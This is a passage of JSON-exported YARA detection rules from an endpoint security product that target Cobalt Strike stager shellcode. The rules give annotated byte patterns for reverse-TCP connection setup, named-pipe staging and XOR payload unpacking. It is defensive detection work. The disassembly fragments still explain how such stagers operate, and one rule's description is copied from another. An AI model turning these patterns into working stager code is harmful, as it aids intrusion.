+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_shellcode_reverse_tcp_3ab53fc99474_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567511Z",
+  "creation_date": "2026-03-23T11:46:25.567513Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567519Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_shellcode_reverse_tcp_3ab53fc99474.yar",
+  "content": "rule cobalt_strike_shellcode_reverse_tcp_3ab53fc99474 {\n    meta:\n        title = \"Cobalt Strike Shellcode reverse tcp (3ab53fc99474)\"\n        id = \"8d264819-1fc9-4d60-b791-3ab53fc99474\"\n        description = \"Detects the Cobalt Strike httpstager shellcode.\\nThis shellcode enables attackers to download and execute additional payloads over HTTP.\\nIt creates an HTTP connection to retrieve and execute a secondary payload.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2022-01-14\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.t1055.002\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $shellcode_load_librarya_ws2_32 = {\n            49 BE 77 73 32 5F 33 32 00 00 // movabs r14, 0x32335f327377    // \"ws2_32\\0\"\n            41 56                         // push r14                      // push\n            49 89 E6                      // mov r14, rsp\n            48 81 EC A0 01 00 00          // sub rsp, 0x1a0\n            49 89 E5                      // mov r13, rsp\n            49 BC 02 00 ?? ?? ?? ?? ?? ?? // movabs r12, 0xXXXXXXXXXXXX0002 // ip: XX.XX.XX.XX family AF_INET and port XXXX\n            41 54                         // push r12\n            49 89 E4                      // mov r12, rsp\n            4C 89 F1                      // mov rcx, r14\n            41 BA 4C 77 26 07             // mov r10d, 0x726774c            // \"LoadLibrary\"\n            FF D5                         // call rbp                       // LoadLibraryA(\"ws2_32\")\n            4C 89 EA                      // mov rdx, r13\n            68 01 01 00 00                // push 0x101                     // sizeof(struct WSAData)\n            59                            // pop rcx                        // allocated WSData ptr\n            41 BA 29 80 6B 00             // mov r10d, 0x6b8029             // \"WSAStartup\"\n            FF D5                         // call rbp                       // WSAStartup(0x0101, &WSAData);\n        }\n\n        $shellcode_ws2_32_socketa = {\n            50                // push rax             // 0\n            50                // push rax             // 0\n            4D 31 C9          // xor r9, r9           // 0\n            4D 31 C0          // xor r8, r8           // 0\n            48 FF C0          // inc rax\n            48 89 C2          // mov rdx, rax         // SOCK_STREAM\n            48 FF C0          // inc rax\n            48 89 C1          // mov rcx, rax         // AF_INET\n            41 BA EA 0F DF E0 // mov r10d, 0xe0df0fea // \"WSASocketA\"\n            FF D5             // call rbp             // WSASocketA(AF_INET, SOCK_STREAM, 0, 0, 0, 0);\n        }\n\n        $shellcode_ws2_32_connect = {\n            48 89 C7          // mov rdi, rax         // save socket\n            6A 10             // push 0x10            // push sizeof(struct sockaddr_in)\n            41 58             // pop r8               // pop sizeof(struct sockaddr_in)\n            4C 89 E2          // mov rdx, r12         // sockaddr_in pointer\n            48 89 F9          // mov rcx, rdi         // socket\n            41 BA 99 A5 74 61 // mov r10d, 0x6174a599 // \"connect\"\n            FF D5             // call rbp             // connect(s, &sockaddr_in, sizeof(struct sockaddr_in))\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_shellcode_reverse_tcp_3ab53fc99474"
+  ],
+  "rule_creation_date": "2022-01-14",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_shellcode_reverse_tcp_94a44304793f_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575685Z",
+  "creation_date": "2026-03-23T11:46:25.575687Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575693Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_shellcode_reverse_tcp_94a44304793f.yar",
+  "content": "rule cobalt_strike_shellcode_reverse_tcp_94a44304793f {\n    meta:\n        title = \"Cobalt Strike Shellcode reverse tcp (94a44304793f)\"\n        id = \"d464e96a-83a6-421b-874e-94a44304793f\"\n        description = \"Detects the Cobalt Strike httpstager shellcode.\\nThis shellcode enables attackers to download and execute additional payloads over HTTP.\\nIt creates an HTTP connection to retrieve and execute a secondary payload.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2022-01-14\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.t1055.002\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $shellcode_load_librarya_ws2_32 = {\n            68 33 32 00 00 // push 0x3233     // \"32\\0\"\n            68 77 73 32 5F // push 0x5f327377 // \"ws2_\"\n            54             // push esp        // push \"ws2_32\\0\"\n            68 4C 77 26 07 // push 0x726774c  // \"LoadLibrary\"\n            FF D5          // call ebp        // LoadLibraryA(\"ws2_32\")\n\n            B8 90 01 00 00 // mov eax, 0x190  // EAX = sizeof(struct WSAData)\n            29 C4          // mov esp, eax    // allocate space\n            54             // push esp        // push a pointer to that space\n            50             // push eax        // wVersionRequested\n            68 29 80 6B 00 // push 0x6b8029   // \"WSAStartup\"\n            FF D5          // call ebp        // WSAStartup(0x0190, &WSAData);\n        }\n\n        $shellcode_ws2_32_socketa = {\n            50             // push eax        // 0\n            50             // push eax        // 0\n            50             // push eax        // 0\n            50             // push eax        // 0\n            40             // inc eax\n            50             // push eax        // SOCK_STREAM\n            40             // inc eax\n            50             // push eax        // AF_INET\n            68 EA 0F DF E0 // push 0xe0df0fea // \"WSASocketA\"\n            FF D5          // call ebp        // WSASocketA(AF_INET, SOCK_STREAM, 0, 0, 0, 0);\n        }\n\n        $shellcode_ws2_32_connect = {\n            68 ?? ?? ?? ?? // push XXXXXXXX  // ip: XX.XX.XX.XX\n            68 02 00 ?? ?? // push 0xXXXX0002 // family AF_INET and port XXXX\n            89 E6          // mov esi, esp    // save a pointer to sockaddr_in struct\n            6A 10          // push 0x10       // sizeof(struct sockaddr_in)\n            56             // push esi        // pointer to the sockaddr_in struct\n            57             // push edi        // socket\n            68 99 A5 74 61 // push 0x6174a599 // \"connect\"\n            FF D5          // call ebp        // connect(s, &sockaddr_in, sizeof(struct sockaddr_in))\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_shellcode_reverse_tcp_94a44304793f"
+  ],
+  "rule_creation_date": "2022-01-14",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_shellcode_smbstager_9f71ce10b1fe_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581212Z",
+  "creation_date": "2026-03-23T11:46:25.581214Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581220Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_shellcode_smbstager_9f71ce10b1fe.yar",
+  "content": "rule cobalt_strike_shellcode_smbstager_9f71ce10b1fe {\n    meta:\n        title = \"Cobalt Strike Shellcode smbstager (9f71ce10b1fe)\"\n        id = \"8865265b-5b31-47b7-8da4-9f71ce10b1fe\"\n        description = \"Detects the Cobalt Strike httpstager shellcode.\\nThis shellcode enables attackers to download and execute additional payloads over HTTP.\\nIt creates an HTTP connection to retrieve and execute a secondary payload.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2022-01-14\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.t1055.002\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $shellcode_alloc_space = {\n            5D             // pop ebp\n            31 C0          // xor eax, eax\n            6A 40          // push 0x40       // flProtect = PAGE_EXECUTE_READWRITE\n            68 00 10 00 00 // push 0x100\n            68 FF FF 07 00 // push 0x7ffff\n            6A 00          // push 0x0\n            68 58 A4 53 E5 // push 0xe553a458 // \"VirtualAlloc\"\n            FF D5          // call ebp        // VirtualAlloc(NULL, 0x7FFFF, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n        }\n\n        $shellcode_create_named_pipe = {\n            31 C9          // xor  ecx, ecx\n            51             // push ecx                                         // lpSecurityAttributes = NULL\n            51             // push ecx                                         // nDefaultTimeOut = 0\n            68 00 B0 04 00 // push 0x4B000                                     // nInBufferSize = 0x4B000\n            68 00 B0 04 00 // push 0x4B000                                     // nOutBufferSize = 0x4B000\n            6A 01          // push 0x1                                         // nMaxInstances = 1\n            6A 06          // push PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE\n            6A 03          // push PIPE_ACCESS_DUPLEX\n            52             // push edx                                         // lpName\n            68 45 70 DF D4 // push 0xD4DF7045                                  // \"CreateNamedPipeA\"\n            FF D5          // call ebp                                         // CreateNamedPipeA(lpName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, 0x1, 0x4B000, 0x4B000, 0, NULL)\n        }\n\n        $shellcode_connnect_named_pipe = {\n            8B 14 24       // mov edx, dword ptr [esp] // grab hNamedPipe\n            6A 00          // push 0x0                 // NULL\n            52             // push edx                 // hNamedPipe\n            68 28 6F 7D E2 // push 0xE27D6F28          // \"ConnectNamedPipe\"\n            FF D5          // call ebp                 // ConnectNamedPipe(hNamedPipe, NULL)\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cobalt_strike_shellcode_smbstager_9f71ce10b1fe"
+  ],
+  "rule_creation_date": "2022-01-14",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.CobaltStrike"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cobalt_strike_specific_stager_03658f107439_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577656Z",
+  "creation_date": "2026-03-23T11:46:25.577658Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577664Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "cobalt_strike_specific_stager_03658f107439.yar",
+  "content": "rule cobalt_strike_specific_stager_03658f107439 {\n    meta:\n        title = \"Cobalt Strike Specific Stager (03658f107439)\"\n        id = \"b78b0a68-7a86-470e-be6b-03658f107439\"\n        description = \"Detects Cobalt Strike's Specific Stager x86.\\nCobalt Strike's specific stager x86 is a 32-bit executable used to establish persistence or communicate with a command-and-control server. This stager is typically generated by the Cobalt Strike artefact kit and is designed to execute specific commands or download additional payloads.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/software/S0154/\"\n        date = \"2022-06-24\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0154;attack.defense_evasion;attack.t1140;attack.t1027.005;attack.command_and_control;attack.t1071\"\n        classification = \"Windows.Framework.CobaltStrike\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $s1 = \"_matherr(): %s in %s(%g, %g)  (retval=%g)\" fullword ascii\n        $s2 = \"Address %p has no image-section\" fullword ascii\n        $s3 = \"Mingw-w64 runtime failure:\" ascii\n        $s4 = \"StartW\" fullword ascii\n        $s5 = \"CreateThread\" fullword ascii\n        $s6 = \"rundll32.exe\" fullword ascii\n\n        // Detection for these samples :\n        // 022566a473144cae9463bcdaab11b0c2b255443bff432dcf6c125c7f07574913\n        // 6597b65ee63a4091c2a3fa9aca89125ce19e6138253f817e89ff13623124706b\n        // d9882283ee2dc487c2a5fb97f8067051c259c4721cd4aea8c435302fe6b274c4\n\n        $unpack_stager_artefact_kit_64_v1 = {\n            31 C0                                         // xor     eax, eax\n            EB 0F                                         // jmp     short loc_6BAC17E7\n\n                                        // loc_6BAC17D8:\n            41 83 E1 03                                   // and     r9d, 3\n            47 8A 0C 08                                   // mov     r9b, [r8+r9]\n            44 30 0C 01                                   // xor     [rcx+rax], r9b\n            48 FF C0                                      // inc     rax\n\n                                        // loc_6BAC17E7:\n            39 D0                                         // cmp     eax, edx\n            41 89 C1                                      // mov     r9d, eax\n            7C EA                                         // jl      short loc_6BAC17D8\n        }\n\n        // Detection for these samples :\n        // 1d1c844dbe07f096650e5da95cc0b9fbcddd21da73917f394c0f3a61edc66c27\n        // caeaf1b0ac8b3125fd33440cfa528d740b4f7b650e6497e615235f2ecac9214e\n        // fab938a33834395907761d700170d7757f6afe264c0620fa51838d449de98b35\n\n        $unpack_stager_artefact_kit_64_v2 = {\n            31 C0                                         // xor     eax, eax\n            EB 11                                         // jmp     short loc_6BAC15E7\n\n                                        // loc_6BAC15D6:\n            83 E2 03                                      // and     edx, 3\n            8A 54 15 00                                   // mov     dl, [rbp+rdx+0]\n            41 32 14 04                                   // xor     dl, [r12+rax]\n            88 14 03                                      // mov     [rbx+rax], dl\n            48 FF C0                                      // inc     rax\n\n                                        // loc_6BAC15E7:\n            39 F8                                         // cmp     eax, edi\n            89 C2                                         // mov     edx, eax\n            7C E9                                         // jl      short loc_6BAC15D6\n        }\n\n        // Detection for these samples :\n        // d61d3d66e3b1f0bc7da874b6ccc5554669270dc091ab3d6c3fca39bde600dcec\n        // 82fec2ec1c34b627aea689f08336fcd02c190e5dae057bd57fcb5e35b5abf3bc\n        // c1cffa8743fe87b4a312baf1063bc20be8892e6e4489e48f489f4f73eba21393\n        // 72495c93e964a762f7c68b90abe67e4ff929f7be0dc6aa8f3482a38ba382c1b1\n        // 8295ac3b2d09743c5aaae6d61b972db8775d0fd33c44a4e6b9fd56448a0eb0aa\n        // 6ce666be5751ce11a4c10d7524e6c975766cb53aafcf50da944e1c2ea16ff3cc\n        // d32a1f3532d271c198cd256af4401b20802a83dfe36867d9517f7a91e657b49e\n        // fefae2f27ce0790dd2d96984cbbafde30ea528b4a2df016f05cec266bfecf004\n        // 0e4a396ffa74666e9db4c01810b291a677e64442f53f21b1295713e20850a448\n        // 2ac64b32604150197add3ae81d5f39ded56cd4bee9dac8bbbd097dfcdb2a10b3\n        // f515f48238e8274af40839b4b4a54a610664d9f389544b9804633dbf41ed6175\n        // f2c7ca7797210de3c38a21af4e9e104dc5e14e0d291350e19dc89be96c5f9792\n        // 3e9b33f7ff94bdbb8f72ef46c7d2e07a135463b4d8baaa2891e877f1d9fa9c10\n        // 47d531fb00a9f8006ebc8c0aaa18e523207b3dd964ec3c264ad8af61fbdc8052\n\n        $unpack_stager_artefact_kit_64_v3 = {\n            4? 89 C?                                      // mov     rbx, rax\n            31 C0                                         // xor     eax, eax\n\n                                        // loc_4015C7:\n            39 ??                                         // cmp     esi, eax\n            7? 1?                                         // jle     short loc_4015E0\n            48 89 C2                                      // mov     rdx, rax\n            83 E2 03                                      // and     edx, 3\n            (\n            8A 54 15 00 |                                 // mov     dl, [rbp+rdx+0]\n            8A 14 17 |                                    // mov     dl, [rdi+rdx]\n            41 8A 14 1?                                   // mov     dl, [r12+rdx]\n            )\n            (\n            32 14 0? |                                    // xor     dl, [rdi+rax]\n            32 54 05 00 |                                 // xor     dl, [rbp+rax+0]\n            41 32 54 05 00                                // xor     dl, [r13+rax+0]\n            )\n            (\n            88 14 03 |                                    // mov     [rbx+rax], dl\n            41 88 14 01                                   // mov     [r9+rax], dl\n            )\n            48 FF C0                                      // inc     rax\n            EB E?                                         // jmp     short loc_4015C7\n        }\n\n        // Detection for these samples :\n        // 4ba7bff2e9ab6ccf42782911b496126275fa3f255dda9f41f11cb4f285bfab4f\n        // e88562e931313d2ec06885ac6b28d724b1214727738cf80f9fb853fa4ad34d0a\n        // f760304b597fa61eea7250b4947eb2bdd231e58a56f762f482e1599bb650b8ea\n        // b925a6abbaf39c7422d484390f4afb10331ed713c3f4a3ed0d518276eaf5f111\n\n        $unpack_stager_artefact_kit_64_v4 = {\n            31 D2                                         // xor     edx, edx\n            49 89 C1                                      // mov     r9, rax\n\n                                        // loc_401595:\n            39 D?                                         // cmp     ebx, edx\n            7? 15                                         // jle     short loc_4015AE\n            48 89 D0                                      // mov     rax, rdx\n            83 E0 03                                      // and     eax, 3\n            8A 0C 07                                      // mov     cl, [rdi+rax]\n            32 0C 16                                      // xor     cl, [rsi+rdx]\n            41 88 0C 11                                   // mov     [r9+rdx], cl\n            48 FF C2                                      // inc     rdx\n            EB E7                                         // jmp     short loc_401595\n        }\n\n        // Detection for this sample :\n        // 8197a053d24a8e909e329029d73d9a4b50f9cac6f479f9b6ea70a76c3a3cbda7\n\n        $unpack_stager_artefact_kit_64_v5 = {\n            31 C0                                         // xor     eax, eax\n\n                                        // loc_6BAC1999:\n            48 8B 4C 24 70                                // mov     rcx, [rsp+0A8h+var_38]\n            39 84 24 B8 00 00 00                          // cmp     [rsp+0A8h+arg_8], eax\n            7E 14                                         // jle     short loc_6BAC19BB\n            48 89 C2                                      // mov     rdx, rax\n            83 E2 03                                      // and     edx, 3\n            8A 14 17                                      // mov     dl, [rdi+rdx]\n            32 14 06                                      // xor     dl, [rsi+rax]\n            88 14 01                                      // mov     [rcx+rax], dl\n            48 FF C0                                      // inc     rax\n            EB DE                                         // jmp     short loc_6BAC1999\n        }\n\n        // Detection for these samples :\n        // f3f12a093eff9e1f33054ac9536dfa0e3e41a536b3c1aab24cb20a2a09e0d384\n        // 82854bb6cea65426f0fade44ee6a211fdda562e894fc5cf8ca0de6217b9f8f5c\n        // 429fdaa93edc5c0fa3275d4d45c24bcfcebef06151fbf5b4f06abf04d75ca26e\n\n        $unpack_stager_artefact_kit_64_v6 = {\n            31 C9                                         // xor     ecx, ecx\n            4? 89 C?                                      // mov     rbx, rax\n            41 B? 04 00 00 00                             // mov     r8d, 4\n\n                                        // loc_40161D:\n            39 ?9                                         // cmp     ecx, edi\n            89 C8                                         // mov     eax, ecx\n            7D ??                                         // jge     short loc_40163A\n            99                                            // cdq\n            41 F7 F?                                      // idiv    r8d\n            48 63 C2                                      // movsxd  rax, edx\n            (\n            41 8A 04 04 |                                 // mov     al, [r12+rax]\n            8A 04 07                                      // mov     al, [rdi+rax]\n            )\n            (\n            32 44 0D 00 |                                 // xor     al, [rbp+rcx+0]\n            32 04 0E                                      // xor     al, [rsi+rcx]\n            )\n            (\n            88 04 0B |                                    // mov     [rbx+rcx], al\n            88 44 0D 00                                   // mov     [rbp+rcx+0], al\n            88 04 0B |                                    // mov     [rbx+rcx], al\n            88 04 0E                                      // mov     [rsi+rcx], al\n            41 88 04 08                                   // mov     [r8+rcx], al\n            )\n            48 FF C1                                      // inc     rcx\n            EB ??                                         // jmp     short loc_40161D\n        }\n\n        // Detection for these samples :\n        // 2885a5dc4b28286ef267b1637547c419c700a8a294eac7e939bdb634a2dff167\n        // 429e5ef710888f35b2ccb74f15bad64aa2d1a93d9d27652741b389fd83fa332d\n        // d0b9a1cacae0bbba1e785327d39b4fb3124bbad3d2b545b853b9f22258321d4b\n\n        $unpack_stager_artefact_kit_64_v7 = {\n            45 31 D2                                      // xor     r10d, r10d\n            48 89 C3                                      // mov     rbx, rax\n            B9 04 00 00 00                                // mov     ecx, 4\n\n                                        // loc_6BAC15CB:\n            41 39 FA                                      // cmp     r10d, edi\n            44 89 D0                                      // mov     eax, r10d\n            7D 18                                         // jge     short loc_6BAC15EB\n            99                                            // cdq\n            F7 F9                                         // idiv    ecx\n            48 63 C2                                      // movsxd  rax, edx\n            41 8A 04 04                                   // mov     al, [r12+rax]\n            42 32 44 15 00                                // xor     al, [rbp+r10+0]\n            42 88 04 13                                   // mov     [rbx+r10], al\n            49 FF C2                                      // inc     r10\n            EB E0                                         // jmp     short loc_6BAC15CB\n        }\n\n        // Detection for this sample :\n        // 2dfee99207e7b13fa289784ede1629cdef3f3bb4074ebcd84695bd051a5b85c4\n\n        $unpack_stager_artefact_kit_64_v8 = {\n                                        // loc_401532:\n            89 C8                                         // mov     eax, ecx\n            FF C1                                         // inc     ecx\n            99                                            // cdq\n            41 F7 F8                                      // idiv    r8d\n            48 63 D2                                      // movsxd  rdx, edx\n            41 8A 04 14                                   // mov     al, [r12+rdx]\n            30 45 00                                      // xor     [rbp+0], al\n            8A 45 00                                      // mov     al, [rbp+0]\n            41 88 04 29                                   // mov     [r9+rbp], al\n            48 FF C5                                      // inc     rbp\n\n                                        // loc_40154E:\n            39 F9                                         // cmp     ecx, edi\n            7C E0                                         // jl      short loc_401532\n        }\n\n        // Detection for these samples :\n        // 68081a431396a2876a1f57b55ebfc2bfb762abcc4feb5d29e9b0415ef415d10e\n        // 746e83c923dea91ab6746885d1eb9cabfa0990923d91837efc798ace2f070ee9\n\n        $unpack_stager_artefact_kit_64svc_v1 = {\n            48 83 EC ?8                                   // sub     rsp, 28h\n            31 C0                                         // xor     eax, eax\n            4? 89 ??                                      // mov     r9d, edx\n\n                                        // loc_4017D7:\n            (\n            41 39 C1 |                                    // cmp     r9d, eax\n            39 C2                                         // cmp     edx, eax\n            )\n            7E 1?                                         // jle     short loc_4017EE\n            48 89 C?                                      // mov     rdx, rax\n            83 E? 03                                      // and     edx, 3\n            41 8A ?? ??                                   // mov     dl, [r8+rdx]\n            (\n            30 14 01 |                                    // xor     [rcx+rax], dl\n            41 30 0C 01                                   // xor     [r9+rax], cl\n            )\n            48 FF C0                                      // inc     rax\n            EB E9                                         // jmp     short loc_4017D7\n        }\n\n        // Detection for these samples :\n        // 2ae02a10158befdd5f0f28e6cb2c31fed49824f87e66399df4ce62d900135f7c\n        // add57fe667c8df7a4a27002830547652fbde21db9035f10d5be13b60d8eb40d1\n        // ebf50d7ab7d2b03a72c0385b09d18664be911e76a5011bcd6c4059090391a525\n\n        $unpack_stager_artefact_kit_64svc_v2 = {\n            31 C0                                         // xor     eax, eax\n\n                                        // loc_6BAC1807:\n            39 ??                                         // cmp     eax, edx\n            7? 14                                         // jge     short loc_6BAC181F\n            49 89 C1                                      // mov     r9, rax\n            41 83 E1 03                                   // and     r9d, 3\n            47 8A 0C 08                                   // mov     r9b, [r8+r9]\n            44 30 0C 01                                   // xor     [rcx+rax], r9b\n            48 FF C0                                      // inc     rax\n            EB E8                                         // jmp     short loc_6BAC1807\n        }\n\n        // Detection for this sample :\n        // 743215d8d4d04d68ec91143fc65300678c3c2876612180816ebfc057ba301f21\n\n        $unpack_stager_artefact_kit_64svc_v3 = {\n            83 E1 03                                      // and     ecx, 3\n            41 8A 0C 08                                   // mov     cl, [r8+rcx]\n            30 0C 03                                      // xor     [rbx+rax], cl\n            48 FF C0                                      // inc     rax\n\n                                        // loc_401763:\n            39 D0                                         // cmp     eax, edx\n            89 C1                                         // mov     ecx, eax\n            7C ED                                         // jl      short loc_401756\n            // 48 89 D9                                      // mov     rcx, rbx\n            // 89 54 24 28                                   // mov     [rsp+38h+var_10], edx\n        }\n\n        // Detection for these samples :\n        // 443430be600ab17dc37e4f7871b593e1c144f44c62077aa56a0b995877b85c7b\n        // 7ec880bca6d3abe7509a150caa98c6b0cad33d80e0502a19f6ae9911a3bd6049\n        // fe8d4f677eb665827104807a63d29b1cf1d000cd118e3b5c9766aedd9060c71cxœ\n\n        $unpack_stager_artefact_kit_64svc_v4 = {\n            8B 45 FC                                      // mov     eax, [rbp+var_4]\n            48 98                                         // cdqe\n            48 89 C1                                      // mov     rcx, rax\n            48 03 4D 10                                   // add     rcx, [rbp+arg_0]\n            8B 45 FC                                      // mov     eax, [rbp+var_4]\n            48 98                                         // cdqe\n            48 03 45 10                                   // add     rax, [rbp+arg_0]\n            44 0F B6 00                                   // movzx   r8d, byte ptr [rax]\n            8B 45 FC                                      // mov     eax, [rbp+var_4]\n            89 C2                                         // mov     edx, eax\n            C1 FA 1F                                      // sar     edx, 1Fh\n            C1 EA 1E                                      // shr     edx, 1Eh\n            01 D0                                         // add     eax, edx\n            83 E0 03                                      // and     eax, 3\n            29 D0                                         // sub     eax, edx\n            48 98                                         // cdqe\n            48 03 45 20                                   // add     rax, 